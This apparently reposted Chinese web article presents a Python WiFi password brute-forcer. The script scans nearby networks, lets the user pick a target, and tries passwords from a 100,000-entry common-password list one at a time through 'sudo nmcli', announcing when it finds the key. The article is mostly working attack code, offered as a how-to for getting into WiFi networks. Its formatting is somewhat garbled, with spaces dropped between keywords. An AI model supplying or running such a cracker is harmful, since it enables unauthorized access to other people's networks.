解锁WiFi密码,我只用了60行代码

您所在的位置:网站首页 如何破解wifi密码呢并且显示密码电脑 解锁WiFi密码,我只用了60行代码

解锁WiFi密码,我只用了60行代码

2023-05-21 18:58| 来源: 网络整理| 查看: 265

暴力破解 目前已经获取并且选择了想要连接的WiFi,那么如何获取到它的密码呢? 这里要用到一种比较常见的方式:暴力破解。 这里,要用到Github上一个项目,它收集了最常用的10万个WiFi密码。我们就用着10万个密码暴力解锁WiFi即可。 def brute_force(selected_network, passwords, args): for password in passwords: # necessary due to NetworkManager restart after unsuccessful attempt at login password = password.strip()​ # when when obtain password from url we need the decode utf-8 however we doesnt when reading from file if isinstance(password, str): decoded_line = password else: decoded_line = password.decode("utf-8")

if args.verbose isTrue: print(bcolors.HEADER+"** TESTING **: with password '" + decoded_line+"'"+bcolors.ENDC)​ if (len(decoded_line) >= 8): time.sleep(3)​ creds = os.popen("sudo nmcli dev wifi connect " + selected_network+" password "+decoded_line).read() # print(creds)​ if ("Error:"in creds.strip()): if args.verbose isTrue: print(bcolors.FAIL+"** TESTING **: password '" + decoded_line+"' failed."+bcolors.ENDC) else: sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" + decoded_line+"' succeeded."+bcolors.ENDC) else: if args.verbose isTrue: print(bcolors.OKCYAN+"** TESTING **: password '" + decoded_line+"' too short, passing."+bcolors.ENDC)​

print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC) 核心功能3个函数就完成了,只用了60行Python代码! 下面就把它们串联在一起: def main(): require_root() args = argument_parser()​

The user chose to supplied their own url

if args.url isnotNone: passwords = fetch_password_from_url(args.url)

user elect to read passwords form a file

elif args.file isnotNone: file = open(args.file, "r") passwords = file.readlines() ifnot passwords: print("Password file cannot be empty!") exit(0) file.close() else: # fallback to the default list as the user didnt supplied a password list default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt" passwords = fetch_password_from_url(default_url)​

grabbing the list of the network ssids

func_call = start(1) networks = func_call[0] security_type = func_call[1]

ifnot networks: print("No networks found!") sys.exit(-1)​ display_targets(networks, security_type) max = len(networks) pick = prompt_for_target_choice(max) target = networks[pick]

print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")​ brute_force(target, passwords, args) 执行函数,就会在命令行下显示附近的WiFi列表,选择之后就开始逐个尝试密码。



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3